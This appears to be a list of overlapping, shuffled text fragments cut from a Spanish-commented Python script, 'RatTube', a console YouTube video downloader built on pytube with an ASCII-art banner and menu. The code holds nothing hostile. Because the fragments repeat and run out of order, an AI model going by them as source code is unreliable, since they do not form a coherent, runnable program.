"== \"1\": eleccion = opciones[choice]() while choice not in opciones: print(\"\\nNo se reconoce",
"método, ejecuta la instrucción usada en dicha plataforma para limpiar la consola''' def",
"ruta de guardado por defecto se guarda en la carpeta donde esté el",
"en ascii art y nos permite elegir fuentes que contiene la biblioteca pyfiglet'''",
"si la plataforma es NT (Windows) o si es Linux. Según el retorno",
"sys from colorama import init init(strip=not sys.stdout.isatty()) class RatTube: def limpiar_Pantalla(self): if name",
"métodos necesarios para ejecutar las acciones de descarga o de salida del script'''",
"para ejecutar las acciones de descarga o de salida del script''' rata =",
"\", size1, \" MB aprox.\") video.download(ruta) tecla = input(\"\\nPresione cualquier tecla para terminar\")",
"2. Salir\"\"\") choice = input(\"\\nElija un opción: \") opciones = {\"1\": self.descargar, \"2\":",
"print(\"\\n\\nAdiós\") '''Este método hace uso de la biblioteca pytube,de la clase Youtube y",
"url del video. Si no nos hemos equivocado, confirmaremos que pondremos la url,",
"instrucción usada en dicha plataforma para limpiar la consola''' def mostrar_Banner(self): cprint(figlet_format('RatTube', font='banner3'),",
"pones una ruta, se guardará en el directorio del script)? ') yt =",
"url y la ruta de guardado por defecto se guarda en la carpeta",
"sys.exit() '''Si elegimos salir en el menu, se ejecuta este método. Nos permite",
"def descargar(self): self.limpiar_Mostrar_Banner() print(\"\"\"\\n\\n1. Ingresar URL del video 2. Volver\"\"\") opcion = input(\"\\nElija",
"figlet_format que lo convierte en ascii art y nos permite elegir fuentes que",
"que no podremos dar en volver, ejecutando el método limpiar_Mostrar_Banner y llamando al",
"def confirmar_Descargar(self): url = input('\\n\\nIngresa la URL del video: ') ruta = input('\\nEn",
"video, pideo una url y la ruta de guardado por defecto se guarda",
"se ejecuta este método. Nos permite terminar la ejecución del script sin interrumpir",
"texto y fondo que tendrá el texto, attrs hace referencia a la fuente",
"en el directorio del script)? ') yt = YouTube(url, on_progress_callback=self.progress_function) print(\"\\n\", yt.title) global",
"in opciones: print(\"\\nNo se reconoce la opción\") time.sleep(5) self.limpiar_Mostrar_Banner() self.mostrar_Menu(self.descargar, self.salir) else: eleccion",
"1024))) print(\"\\nTamaño del video: \", size1, \" MB aprox.\") video.download(ruta) tecla = input(\"\\nPresione",
"donde esté el script''' def progress_function(stream, chunk, file_handle, bytes_remaining): print(round((1-bytes_remaining/video.filesize)*100,3), '% done...') def",
"opcion = input(\"\\nElija una opción: \") if opcion == \"1\": self.confirmar_Descargar() else: self.limpiar_Mostrar_Banner()",
"la url del video. Si no nos hemos equivocado, confirmaremos que pondremos la",
"el método limpiar_Mostrar_Banner y llamando al menú inicial nuevamente''' def salir(self): self.limpiar_Pantalla() sys.exit()",
"tarea de descarga''' def confirmar_Descargar(self): url = input('\\n\\nIngresa la URL del video: ')",
"Youtube 2. Salir\"\"\") choice = input(\"\\nElija un opción: \") opciones = {\"1\": self.descargar,",
"limpiar_Mostrar_Banner(self): self.limpiar_Pantalla() self.mostrar_Banner() '''Este método limpia la pantalla y muestra el banner. Se",
"permite terminar la ejecución del script sin interrumpir con el teclado''' def mostrar_Menu(self,",
"NT (Windows) o si es Linux. Según el retorno boleano que se obtenga",
"script sin interrumpir con el teclado''' def mostrar_Menu(self, descargar, salir): print(\"\"\"\\n1. Descargar video",
"'% done...') def descargar(self): self.limpiar_Mostrar_Banner() print(\"\"\"\\n\\n1. Ingresar URL del video 2. Volver\"\"\") opcion",
"de guardado por defecto se guarda en la carpeta donde esté el script'''",
"'''Si elegimos salir en el menu, se ejecuta este método. Nos permite terminar",
"directorio del script)? ') yt = YouTube(url, on_progress_callback=self.progress_function) print(\"\\n\", yt.title) global video video",
"descargar(self): self.limpiar_Mostrar_Banner() print(\"\"\"\\n\\n1. Ingresar URL del video 2. Volver\"\"\") opcion = input(\"\\nElija una",
"del script sin interrumpir con el teclado''' def mostrar_Menu(self, descargar, salir): print(\"\"\"\\n1. Descargar",
"retorno boleano que se obtenga del método, ejecuta la instrucción usada en dicha",
"= input(\"\\nElija una opción: \") if opcion == \"1\": self.confirmar_Descargar() else: self.limpiar_Mostrar_Banner() self.mostrar_Menu(self.descargar,",
"guardará en el directorio del script)? ') yt = YouTube(url, on_progress_callback=self.progress_function) print(\"\\n\", yt.title)",
"porque en la mayoría de los llamados se necesita que el banner siga",
"import init init(strip=not sys.stdout.isatty()) class RatTube: def limpiar_Pantalla(self): if name == \"nt\": _",
"método limpia la pantalla y muestra el banner. Se usa llamando los dos",
"siga ejecutándose manteniendo la pantalla limpia para dar enfoque a la tarea de",
"limpiar_Mostrar_Banner y llamando al menú inicial nuevamente''' def salir(self): self.limpiar_Pantalla() sys.exit() '''Si elegimos",
"necesita que el banner siga ejecutándose manteniendo la pantalla limpia para dar enfoque",
"de Youtube 2. Salir\"\"\") choice = input(\"\\nElija un opción: \") opciones = {\"1\":",
"pantalla limpia para dar enfoque a la tarea de descarga''' def confirmar_Descargar(self): url",
"de la biblioteca pytube,de la clase Youtube y sus métodos. Permite realizar la",
"del video: \", size1, \" MB aprox.\") video.download(ruta) tecla = input(\"\\nPresione cualquier tecla",
"pantalla. el método cprint recibe parámetros texto,color del texto y fondo que tendrá",
"opción: \") opciones = {\"1\": self.descargar, \"2\": self.salir} if choice == \"1\": eleccion",
"opciones: print(\"\\nNo se reconoce la opción\") time.sleep(5) self.limpiar_Mostrar_Banner() self.mostrar_Menu(self.descargar, self.salir) else: eleccion =",
"YouTube(url, on_progress_callback=self.progress_function) print(\"\\n\", yt.title) global video video = yt.streams.first() size1 = str(round(video.filesize /",
"en pantalla. el método cprint recibe parámetros texto,color del texto y fondo que",
"el banner. Se usa llamando los dos métodos juntos porque en la mayoría",
"rattube.py # # Copyright 2020 <NAME> <<EMAIL>> # from termcolor import cprint from",
"global video video = yt.streams.first() size1 = str(round(video.filesize / (1024 * 1024))) print(\"\\nTamaño",
"from termcolor import cprint from pyfiglet import figlet_format from pytube import YouTube import",
"name import sys from colorama import init init(strip=not sys.stdout.isatty()) class RatTube: def limpiar_Pantalla(self):",
"RatTube: def limpiar_Pantalla(self): if name == \"nt\": _ = system('cls') else: _ =",
"Si no nos hemos equivocado, confirmaremos que pondremos la url, en caso que",
"opción: \") if opcion == \"1\": self.confirmar_Descargar() else: self.limpiar_Mostrar_Banner() self.mostrar_Menu(self.descargar, self.salir) '''Este método",
"video: \", size1, \" MB aprox.\") video.download(ruta) tecla = input(\"\\nPresione cualquier tecla para",
"menu, se ejecuta este método. Nos permite terminar la ejecución del script sin",
"cprint recibe parámetros texto,color del texto y fondo que tendrá el texto, attrs",
"del script)? ') yt = YouTube(url, on_progress_callback=self.progress_function) print(\"\\n\", yt.title) global video video =",
"dar en volver, ejecutando el método limpiar_Mostrar_Banner y llamando al menú inicial nuevamente'''",
"el menu, se ejecuta este método. Nos permite terminar la ejecución del script",
"pyfiglet''' def limpiar_Mostrar_Banner(self): self.limpiar_Pantalla() self.mostrar_Banner() '''Este método limpia la pantalla y muestra el",
"plataforma es NT (Windows) o si es Linux. Según el retorno boleano que",
"la url, en caso que no podremos dar en volver, ejecutando el método",
"de tu equipo guardarás el archivo\\n(si no pones una ruta, se guardará en",
"si deseamos introducir la url del video. Si no nos hemos equivocado, confirmaremos",
"'yellow', 'on_blue', attrs=['bold']) '''Imprime el banner que se muestra en pantalla. el método",
"salir en el menu, se ejecuta este método. Nos permite terminar la ejecución",
"opciones[choice]() while choice not in opciones: print(\"\\nNo se reconoce la opción\") time.sleep(5) self.limpiar_Mostrar_Banner()",
"usada en dicha plataforma para limpiar la consola''' def mostrar_Banner(self): cprint(figlet_format('RatTube', font='banner3'), 'yellow',",
"Se usa llamando los dos métodos juntos porque en la mayoría de los",
"video. Si no nos hemos equivocado, confirmaremos que pondremos la url, en caso",
"mayoría de los llamados se necesita que el banner siga ejecutándose manteniendo la",
"el banner siga ejecutándose manteniendo la pantalla limpia para dar enfoque a la",
"script)? ') yt = YouTube(url, on_progress_callback=self.progress_function) print(\"\\n\", yt.title) global video video = yt.streams.first()",
"las acciones de descarga o de salida del script''' rata = RatTube() rata.limpiar_Pantalla()",
"time from os import system, name import sys from colorama import init init(strip=not",
"una opción: \") if opcion == \"1\": self.confirmar_Descargar() else: self.limpiar_Mostrar_Banner() self.mostrar_Menu(self.descargar, self.salir) '''Este",
"el texto, attrs hace referencia a la fuente que sería en negrita el",
"\"1\": eleccion = opciones[choice]() while choice not in opciones: print(\"\\nNo se reconoce la",
"from pytube import YouTube import time from os import system, name import sys",
"desde aquí a los métodos necesarios para ejecutar las acciones de descarga o",
"mostrar_Banner(self): cprint(figlet_format('RatTube', font='banner3'), 'yellow', 'on_blue', attrs=['bold']) '''Imprime el banner que se muestra en",
"método cprint recibe parámetros texto,color del texto y fondo que tendrá el texto,",
"si es Linux. Según el retorno boleano que se obtenga del método, ejecuta",
"self.limpiar_Pantalla() sys.exit() '''Si elegimos salir en el menu, se ejecuta este método. Nos",
"pondremos la url, en caso que no podremos dar en volver, ejecutando el",
"opciones[choice]() '''Muestra el menú inicial. Llama desde aquí a los métodos necesarios para",
"carpeta donde esté el script''' def progress_function(stream, chunk, file_handle, bytes_remaining): print(round((1-bytes_remaining/video.filesize)*100,3), '% done...')",
"tecla para terminar\") time.sleep(3) print(\"\\n\\nAdiós\") '''Este método hace uso de la biblioteca pytube,de",
"usa llamando los dos métodos juntos porque en la mayoría de los llamados",
"= str(round(video.filesize / (1024 * 1024))) print(\"\\nTamaño del video: \", size1, \" MB",
"comprobamos si la plataforma es NT (Windows) o si es Linux. Según el",
"la fuente que sería en negrita el texto que recibe el método cprint",
"video = yt.streams.first() size1 = str(round(video.filesize / (1024 * 1024))) print(\"\\nTamaño del video:",
"Ingresar URL del video 2. Volver\"\"\") opcion = input(\"\\nElija una opción: \") if",
"los dos métodos juntos porque en la mayoría de los llamados se necesita",
"time.sleep(5) self.limpiar_Mostrar_Banner() self.mostrar_Menu(self.descargar, self.salir) else: eleccion = opciones[choice]() '''Muestra el menú inicial. Llama",
"MB aprox.\") video.download(ruta) tecla = input(\"\\nPresione cualquier tecla para terminar\") time.sleep(3) print(\"\\n\\nAdiós\") '''Este",
"'''Este método hace uso de la biblioteca pytube,de la clase Youtube y sus",
"menú inicial. Llama desde aquí a los métodos necesarios para ejecutar las acciones",
"hace referencia a la fuente que sería en negrita el texto que recibe",
"self.mostrar_Menu(self.descargar, self.salir) else: eleccion = opciones[choice]() '''Muestra el menú inicial. Llama desde aquí",
"limpiar_Pantalla(self): if name == \"nt\": _ = system('cls') else: _ = system('clear') '''",
"termcolor import cprint from pyfiglet import figlet_format from pytube import YouTube import time",
"la ruta de guardado por defecto se guarda en la carpeta donde esté",
"mostrar_Menu(self, descargar, salir): print(\"\"\"\\n1. Descargar video de Youtube 2. Salir\"\"\") choice = input(\"\\nElija",
"Youtube y sus métodos. Permite realizar la descarga del video, pideo una url",
"contiene la biblioteca pyfiglet''' def limpiar_Mostrar_Banner(self): self.limpiar_Pantalla() self.mostrar_Banner() '''Este método limpia la pantalla",
"método limpiar_Mostrar_Banner y llamando al menú inicial nuevamente''' def salir(self): self.limpiar_Pantalla() sys.exit() '''Si",
"import figlet_format from pytube import YouTube import time from os import system, name",
"figlet_format from pytube import YouTube import time from os import system, name import",
"juntos porque en la mayoría de los llamados se necesita que el banner",
"= system('clear') ''' Con este método comprobamos si la plataforma es NT (Windows)",
"video: ') ruta = input('\\nEn qué ruta de tu equipo guardarás el archivo\\n(si",
"se obtiene de formatearlo con el método figlet_format que lo convierte en ascii",
"que lo convierte en ascii art y nos permite elegir fuentes que contiene",
"art y nos permite elegir fuentes que contiene la biblioteca pyfiglet''' def limpiar_Mostrar_Banner(self):",
"texto, attrs hace referencia a la fuente que sería en negrita el texto",
"pytube import YouTube import time from os import system, name import sys from",
"el método cprint es lo que se obtiene de formatearlo con el método",
"y nos permite elegir fuentes que contiene la biblioteca pyfiglet''' def limpiar_Mostrar_Banner(self): self.limpiar_Pantalla()",
"elegimos salir en el menu, se ejecuta este método. Nos permite terminar la",
"para limpiar la consola''' def mostrar_Banner(self): cprint(figlet_format('RatTube', font='banner3'), 'yellow', 'on_blue', attrs=['bold']) '''Imprime el",
"archivo\\n(si no pones una ruta, se guardará en el directorio del script)? ')",
"no pones una ruta, se guardará en el directorio del script)? ') yt",
"que pondremos la url, en caso que no podremos dar en volver, ejecutando",
"el método cprint recibe parámetros texto,color del texto y fondo que tendrá el",
"script''' def progress_function(stream, chunk, file_handle, bytes_remaining): print(round((1-bytes_remaining/video.filesize)*100,3), '% done...') def descargar(self): self.limpiar_Mostrar_Banner() print(\"\"\"\\n\\n1.",
"negrita el texto que recibe el método cprint es lo que se obtiene",
"la descarga del video, pideo una url y la ruta de guardado por",
"import time from os import system, name import sys from colorama import init",
"self.descargar, \"2\": self.salir} if choice == \"1\": eleccion = opciones[choice]() while choice not",
"else: _ = system('clear') ''' Con este método comprobamos si la plataforma es",
"input(\"\\nElija una opción: \") if opcion == \"1\": self.confirmar_Descargar() else: self.limpiar_Mostrar_Banner() self.mostrar_Menu(self.descargar, self.salir)",
"yt.streams.first() size1 = str(round(video.filesize / (1024 * 1024))) print(\"\\nTamaño del video: \", size1,",
"= input(\"\\nElija un opción: \") opciones = {\"1\": self.descargar, \"2\": self.salir} if choice",
"\"1\": self.confirmar_Descargar() else: self.limpiar_Mostrar_Banner() self.mostrar_Menu(self.descargar, self.salir) '''Este método es para confirmar que si",
"qué ruta de tu equipo guardarás el archivo\\n(si no pones una ruta, se",
"= input('\\n\\nIngresa la URL del video: ') ruta = input('\\nEn qué ruta de",
"el retorno boleano que se obtenga del método, ejecuta la instrucción usada en",
"fuente que sería en negrita el texto que recibe el método cprint es",
"guardarás el archivo\\n(si no pones una ruta, se guardará en el directorio del",
"ascii art y nos permite elegir fuentes que contiene la biblioteca pyfiglet''' def",
"def mostrar_Menu(self, descargar, salir): print(\"\"\"\\n1. Descargar video de Youtube 2. Salir\"\"\") choice =",
"video 2. Volver\"\"\") opcion = input(\"\\nElija una opción: \") if opcion == \"1\":",
"cualquier tecla para terminar\") time.sleep(3) print(\"\\n\\nAdiós\") '''Este método hace uso de la biblioteca",
"que el banner siga ejecutándose manteniendo la pantalla limpia para dar enfoque a",
"ruta de tu equipo guardarás el archivo\\n(si no pones una ruta, se guardará",
"que se obtenga del método, ejecuta la instrucción usada en dicha plataforma para",
"recibe parámetros texto,color del texto y fondo que tendrá el texto, attrs hace",
"equivocado, confirmaremos que pondremos la url, en caso que no podremos dar en",
"no podremos dar en volver, ejecutando el método limpiar_Mostrar_Banner y llamando al menú",
"eleccion = opciones[choice]() while choice not in opciones: print(\"\\nNo se reconoce la opción\")",
"done...') def descargar(self): self.limpiar_Mostrar_Banner() print(\"\"\"\\n\\n1. Ingresar URL del video 2. Volver\"\"\") opcion =",
"llamando los dos métodos juntos porque en la mayoría de los llamados se",
"class RatTube: def limpiar_Pantalla(self): if name == \"nt\": _ = system('cls') else: _",
"a la fuente que sería en negrita el texto que recibe el método",
"ejecuta la instrucción usada en dicha plataforma para limpiar la consola''' def mostrar_Banner(self):",
"opcion == \"1\": self.confirmar_Descargar() else: self.limpiar_Mostrar_Banner() self.mostrar_Menu(self.descargar, self.salir) '''Este método es para confirmar",
"print(\"\\n\", yt.title) global video video = yt.streams.first() size1 = str(round(video.filesize / (1024 *",
"método hace uso de la biblioteca pytube,de la clase Youtube y sus métodos.",
"time.sleep(3) print(\"\\n\\nAdiós\") '''Este método hace uso de la biblioteca pytube,de la clase Youtube",
"not in opciones: print(\"\\nNo se reconoce la opción\") time.sleep(5) self.limpiar_Mostrar_Banner() self.mostrar_Menu(self.descargar, self.salir) else:",
"'on_blue', attrs=['bold']) '''Imprime el banner que se muestra en pantalla. el método cprint",
"este método comprobamos si la plataforma es NT (Windows) o si es Linux.",
"se necesita que el banner siga ejecutándose manteniendo la pantalla limpia para dar",
"dicha plataforma para limpiar la consola''' def mostrar_Banner(self): cprint(figlet_format('RatTube', font='banner3'), 'yellow', 'on_blue', attrs=['bold'])",
"print(round((1-bytes_remaining/video.filesize)*100,3), '% done...') def descargar(self): self.limpiar_Mostrar_Banner() print(\"\"\"\\n\\n1. Ingresar URL del video 2. Volver\"\"\")",
"= opciones[choice]() while choice not in opciones: print(\"\\nNo se reconoce la opción\") time.sleep(5)",
"para terminar\") time.sleep(3) print(\"\\n\\nAdiós\") '''Este método hace uso de la biblioteca pytube,de la",
"def limpiar_Mostrar_Banner(self): self.limpiar_Pantalla() self.mostrar_Banner() '''Este método limpia la pantalla y muestra el banner.",
"= input(\"\\nPresione cualquier tecla para terminar\") time.sleep(3) print(\"\\n\\nAdiós\") '''Este método hace uso de",
"\") opciones = {\"1\": self.descargar, \"2\": self.salir} if choice == \"1\": eleccion =",
"'''Este método es para confirmar que si deseamos introducir la url del video.",
"system('clear') ''' Con este método comprobamos si la plataforma es NT (Windows) o",
"/ (1024 * 1024))) print(\"\\nTamaño del video: \", size1, \" MB aprox.\") video.download(ruta)",
"URL del video: ') ruta = input('\\nEn qué ruta de tu equipo guardarás",
"convierte en ascii art y nos permite elegir fuentes que contiene la biblioteca",
"que contiene la biblioteca pyfiglet''' def limpiar_Mostrar_Banner(self): self.limpiar_Pantalla() self.mostrar_Banner() '''Este método limpia la",
"recibe el método cprint es lo que se obtiene de formatearlo con el",
"la instrucción usada en dicha plataforma para limpiar la consola''' def mostrar_Banner(self): cprint(figlet_format('RatTube',",
"la plataforma es NT (Windows) o si es Linux. Según el retorno boleano",
"el archivo\\n(si no pones una ruta, se guardará en el directorio del script)?",
"la consola''' def mostrar_Banner(self): cprint(figlet_format('RatTube', font='banner3'), 'yellow', 'on_blue', attrs=['bold']) '''Imprime el banner que",
"Según el retorno boleano que se obtenga del método, ejecuta la instrucción usada",
"y muestra el banner. Se usa llamando los dos métodos juntos porque en",
"sin interrumpir con el teclado''' def mostrar_Menu(self, descargar, salir): print(\"\"\"\\n1. Descargar video de",
"self.limpiar_Mostrar_Banner() self.mostrar_Menu(self.descargar, self.salir) else: eleccion = opciones[choice]() '''Muestra el menú inicial. Llama desde",
"una url y la ruta de guardado por defecto se guarda en la",
"que recibe el método cprint es lo que se obtiene de formatearlo con",
"se guardará en el directorio del script)? ') yt = YouTube(url, on_progress_callback=self.progress_function) print(\"\\n\",",
"self.salir) '''Este método es para confirmar que si deseamos introducir la url del",
"la biblioteca pytube,de la clase Youtube y sus métodos. Permite realizar la descarga",
"de los llamados se necesita que el banner siga ejecutándose manteniendo la pantalla",
"dar enfoque a la tarea de descarga''' def confirmar_Descargar(self): url = input('\\n\\nIngresa la",
"del texto y fondo que tendrá el texto, attrs hace referencia a la",
"Permite realizar la descarga del video, pideo una url y la ruta de",
"print(\"\"\"\\n1. Descargar video de Youtube 2. Salir\"\"\") choice = input(\"\\nElija un opción: \")",
"url, en caso que no podremos dar en volver, ejecutando el método limpiar_Mostrar_Banner",
"métodos. Permite realizar la descarga del video, pideo una url y la ruta",
"dos métodos juntos porque en la mayoría de los llamados se necesita que",
"la pantalla y muestra el banner. Se usa llamando los dos métodos juntos",
"introducir la url del video. Si no nos hemos equivocado, confirmaremos que pondremos",
"def progress_function(stream, chunk, file_handle, bytes_remaining): print(round((1-bytes_remaining/video.filesize)*100,3), '% done...') def descargar(self): self.limpiar_Mostrar_Banner() print(\"\"\"\\n\\n1. Ingresar",
"lo convierte en ascii art y nos permite elegir fuentes que contiene la",
"llamados se necesita que el banner siga ejecutándose manteniendo la pantalla limpia para",
"del video. Si no nos hemos equivocado, confirmaremos que pondremos la url, en",
"el script''' def progress_function(stream, chunk, file_handle, bytes_remaining): print(round((1-bytes_remaining/video.filesize)*100,3), '% done...') def descargar(self): self.limpiar_Mostrar_Banner()",
"la pantalla limpia para dar enfoque a la tarea de descarga''' def confirmar_Descargar(self):",
"se guarda en la carpeta donde esté el script''' def progress_function(stream, chunk, file_handle,",
"del video 2. Volver\"\"\") opcion = input(\"\\nElija una opción: \") if opcion ==",
"fondo que tendrá el texto, attrs hace referencia a la fuente que sería",
"inicial. Llama desde aquí a los métodos necesarios para ejecutar las acciones de",
"defecto se guarda en la carpeta donde esté el script''' def progress_function(stream, chunk,",
"llamando al menú inicial nuevamente''' def salir(self): self.limpiar_Pantalla() sys.exit() '''Si elegimos salir en",
"es NT (Windows) o si es Linux. Según el retorno boleano que se",
"el banner que se muestra en pantalla. el método cprint recibe parámetros texto,color",
"def mostrar_Banner(self): cprint(figlet_format('RatTube', font='banner3'), 'yellow', 'on_blue', attrs=['bold']) '''Imprime el banner que se muestra",
"descarga del video, pideo una url y la ruta de guardado por defecto",
"system, name import sys from colorama import init init(strip=not sys.stdout.isatty()) class RatTube: def",
"para dar enfoque a la tarea de descarga''' def confirmar_Descargar(self): url = input('\\n\\nIngresa",
"en dicha plataforma para limpiar la consola''' def mostrar_Banner(self): cprint(figlet_format('RatTube', font='banner3'), 'yellow', 'on_blue',",
"o si es Linux. Según el retorno boleano que se obtenga del método,",
"biblioteca pyfiglet''' def limpiar_Mostrar_Banner(self): self.limpiar_Pantalla() self.mostrar_Banner() '''Este método limpia la pantalla y muestra",
"en la carpeta donde esté el script''' def progress_function(stream, chunk, file_handle, bytes_remaining): print(round((1-bytes_remaining/video.filesize)*100,3),",
"clase Youtube y sus métodos. Permite realizar la descarga del video, pideo una",
"Descargar video de Youtube 2. Salir\"\"\") choice = input(\"\\nElija un opción: \") opciones",
"nuevamente''' def salir(self): self.limpiar_Pantalla() sys.exit() '''Si elegimos salir en el menu, se ejecuta",
"'''Muestra el menú inicial. Llama desde aquí a los métodos necesarios para ejecutar",
"y sus métodos. Permite realizar la descarga del video, pideo una url y",
"método. Nos permite terminar la ejecución del script sin interrumpir con el teclado'''",
"if name == \"nt\": _ = system('cls') else: _ = system('clear') ''' Con",
"pantalla y muestra el banner. Se usa llamando los dos métodos juntos porque",
"el teclado''' def mostrar_Menu(self, descargar, salir): print(\"\"\"\\n1. Descargar video de Youtube 2. Salir\"\"\")",
"\"2\": self.salir} if choice == \"1\": eleccion = opciones[choice]() while choice not in",
"cprint(figlet_format('RatTube', font='banner3'), 'yellow', 'on_blue', attrs=['bold']) '''Imprime el banner que se muestra en pantalla.",
"los llamados se necesita que el banner siga ejecutándose manteniendo la pantalla limpia",
"size1 = str(round(video.filesize / (1024 * 1024))) print(\"\\nTamaño del video: \", size1, \"",
"\") if opcion == \"1\": self.confirmar_Descargar() else: self.limpiar_Mostrar_Banner() self.mostrar_Menu(self.descargar, self.salir) '''Este método es",
"self.mostrar_Menu(self.descargar, self.salir) '''Este método es para confirmar que si deseamos introducir la url",
"es lo que se obtiene de formatearlo con el método figlet_format que lo",
"eleccion = opciones[choice]() '''Muestra el menú inicial. Llama desde aquí a los métodos",
"esté el script''' def progress_function(stream, chunk, file_handle, bytes_remaining): print(round((1-bytes_remaining/video.filesize)*100,3), '% done...') def descargar(self):",
"deseamos introducir la url del video. Si no nos hemos equivocado, confirmaremos que",
"init init(strip=not sys.stdout.isatty()) class RatTube: def limpiar_Pantalla(self): if name == \"nt\": _ =",
"con el método figlet_format que lo convierte en ascii art y nos permite",
"el texto que recibe el método cprint es lo que se obtiene de",
"name == \"nt\": _ = system('cls') else: _ = system('clear') ''' Con este",
"texto que recibe el método cprint es lo que se obtiene de formatearlo",
"permite elegir fuentes que contiene la biblioteca pyfiglet''' def limpiar_Mostrar_Banner(self): self.limpiar_Pantalla() self.mostrar_Banner() '''Este",
"la carpeta donde esté el script''' def progress_function(stream, chunk, file_handle, bytes_remaining): print(round((1-bytes_remaining/video.filesize)*100,3), '%",
"para confirmar que si deseamos introducir la url del video. Si no nos",
"video.download(ruta) tecla = input(\"\\nPresione cualquier tecla para terminar\") time.sleep(3) print(\"\\n\\nAdiós\") '''Este método hace",
"a los métodos necesarios para ejecutar las acciones de descarga o de salida",
"print(\"\\nTamaño del video: \", size1, \" MB aprox.\") video.download(ruta) tecla = input(\"\\nPresione cualquier",
"guardado por defecto se guarda en la carpeta donde esté el script''' def",
"pytube,de la clase Youtube y sus métodos. Permite realizar la descarga del video,",
"') ruta = input('\\nEn qué ruta de tu equipo guardarás el archivo\\n(si no",
"import sys from colorama import init init(strip=not sys.stdout.isatty()) class RatTube: def limpiar_Pantalla(self): if",
"limpia para dar enfoque a la tarea de descarga''' def confirmar_Descargar(self): url =",
"size1, \" MB aprox.\") video.download(ruta) tecla = input(\"\\nPresione cualquier tecla para terminar\") time.sleep(3)",
"en caso que no podremos dar en volver, ejecutando el método limpiar_Mostrar_Banner y",
"if opcion == \"1\": self.confirmar_Descargar() else: self.limpiar_Mostrar_Banner() self.mostrar_Menu(self.descargar, self.salir) '''Este método es para",
"if choice == \"1\": eleccion = opciones[choice]() while choice not in opciones: print(\"\\nNo",
"= {\"1\": self.descargar, \"2\": self.salir} if choice == \"1\": eleccion = opciones[choice]() while",
"texto,color del texto y fondo que tendrá el texto, attrs hace referencia a",
"que si deseamos introducir la url del video. Si no nos hemos equivocado,",
"') yt = YouTube(url, on_progress_callback=self.progress_function) print(\"\\n\", yt.title) global video video = yt.streams.first() size1",
"el método figlet_format que lo convierte en ascii art y nos permite elegir",
"on_progress_callback=self.progress_function) print(\"\\n\", yt.title) global video video = yt.streams.first() size1 = str(round(video.filesize / (1024",
"\"nt\": _ = system('cls') else: _ = system('clear') ''' Con este método comprobamos",
"_ = system('clear') ''' Con este método comprobamos si la plataforma es NT",
"Con este método comprobamos si la plataforma es NT (Windows) o si es",
"ruta, se guardará en el directorio del script)? ') yt = YouTube(url, on_progress_callback=self.progress_function)",
"<<EMAIL>> # from termcolor import cprint from pyfiglet import figlet_format from pytube import",
"choice not in opciones: print(\"\\nNo se reconoce la opción\") time.sleep(5) self.limpiar_Mostrar_Banner() self.mostrar_Menu(self.descargar, self.salir)",
"por defecto se guarda en la carpeta donde esté el script''' def progress_function(stream,",
"obtiene de formatearlo con el método figlet_format que lo convierte en ascii art",
"nos permite elegir fuentes que contiene la biblioteca pyfiglet''' def limpiar_Mostrar_Banner(self): self.limpiar_Pantalla() self.mostrar_Banner()",
"hemos equivocado, confirmaremos que pondremos la url, en caso que no podremos dar",
"video de Youtube 2. Salir\"\"\") choice = input(\"\\nElija un opción: \") opciones =",
"sería en negrita el texto que recibe el método cprint es lo que",
"from colorama import init init(strip=not sys.stdout.isatty()) class RatTube: def limpiar_Pantalla(self): if name ==",
"'''Imprime el banner que se muestra en pantalla. el método cprint recibe parámetros",
"interrumpir con el teclado''' def mostrar_Menu(self, descargar, salir): print(\"\"\"\\n1. Descargar video de Youtube",
"print(\"\"\"\\n\\n1. Ingresar URL del video 2. Volver\"\"\") opcion = input(\"\\nElija una opción: \")",
"Volver\"\"\") opcion = input(\"\\nElija una opción: \") if opcion == \"1\": self.confirmar_Descargar() else:",
"un opción: \") opciones = {\"1\": self.descargar, \"2\": self.salir} if choice == \"1\":",
"font='banner3'), 'yellow', 'on_blue', attrs=['bold']) '''Imprime el banner que se muestra en pantalla. el",
"guarda en la carpeta donde esté el script''' def progress_function(stream, chunk, file_handle, bytes_remaining):",
"que se obtiene de formatearlo con el método figlet_format que lo convierte en",
"from pyfiglet import figlet_format from pytube import YouTube import time from os import",
"la URL del video: ') ruta = input('\\nEn qué ruta de tu equipo",
"yt.title) global video video = yt.streams.first() size1 = str(round(video.filesize / (1024 * 1024)))",
"else: self.limpiar_Mostrar_Banner() self.mostrar_Menu(self.descargar, self.salir) '''Este método es para confirmar que si deseamos introducir",
"enfoque a la tarea de descarga''' def confirmar_Descargar(self): url = input('\\n\\nIngresa la URL",
"file_handle, bytes_remaining): print(round((1-bytes_remaining/video.filesize)*100,3), '% done...') def descargar(self): self.limpiar_Mostrar_Banner() print(\"\"\"\\n\\n1. Ingresar URL del video",
"descarga o de salida del script''' rata = RatTube() rata.limpiar_Pantalla() rata.mostrar_Banner() rata.mostrar_Menu(rata.descargar, rata.salir)",
"\" MB aprox.\") video.download(ruta) tecla = input(\"\\nPresione cualquier tecla para terminar\") time.sleep(3) print(\"\\n\\nAdiós\")",
"== \"1\": self.confirmar_Descargar() else: self.limpiar_Mostrar_Banner() self.mostrar_Menu(self.descargar, self.salir) '''Este método es para confirmar que",
"tendrá el texto, attrs hace referencia a la fuente que sería en negrita",
"Salir\"\"\") choice = input(\"\\nElija un opción: \") opciones = {\"1\": self.descargar, \"2\": self.salir}",
"boleano que se obtenga del método, ejecuta la instrucción usada en dicha plataforma",
"opciones = {\"1\": self.descargar, \"2\": self.salir} if choice == \"1\": eleccion = opciones[choice]()",
"cprint es lo que se obtiene de formatearlo con el método figlet_format que",
"''' Con este método comprobamos si la plataforma es NT (Windows) o si",
"input(\"\\nPresione cualquier tecla para terminar\") time.sleep(3) print(\"\\n\\nAdiós\") '''Este método hace uso de la",
"limpiar la consola''' def mostrar_Banner(self): cprint(figlet_format('RatTube', font='banner3'), 'yellow', 'on_blue', attrs=['bold']) '''Imprime el banner",
"método es para confirmar que si deseamos introducir la url del video. Si",
"ejecutar las acciones de descarga o de salida del script''' rata = RatTube()",
"Llama desde aquí a los métodos necesarios para ejecutar las acciones de descarga",
"plataforma para limpiar la consola''' def mostrar_Banner(self): cprint(figlet_format('RatTube', font='banner3'), 'yellow', 'on_blue', attrs=['bold']) '''Imprime",
"a la tarea de descarga''' def confirmar_Descargar(self): url = input('\\n\\nIngresa la URL del",
"lo que se obtiene de formatearlo con el método figlet_format que lo convierte",
"(1024 * 1024))) print(\"\\nTamaño del video: \", size1, \" MB aprox.\") video.download(ruta) tecla",
"obtenga del método, ejecuta la instrucción usada en dicha plataforma para limpiar la",
"consola''' def mostrar_Banner(self): cprint(figlet_format('RatTube', font='banner3'), 'yellow', 'on_blue', attrs=['bold']) '''Imprime el banner que se",
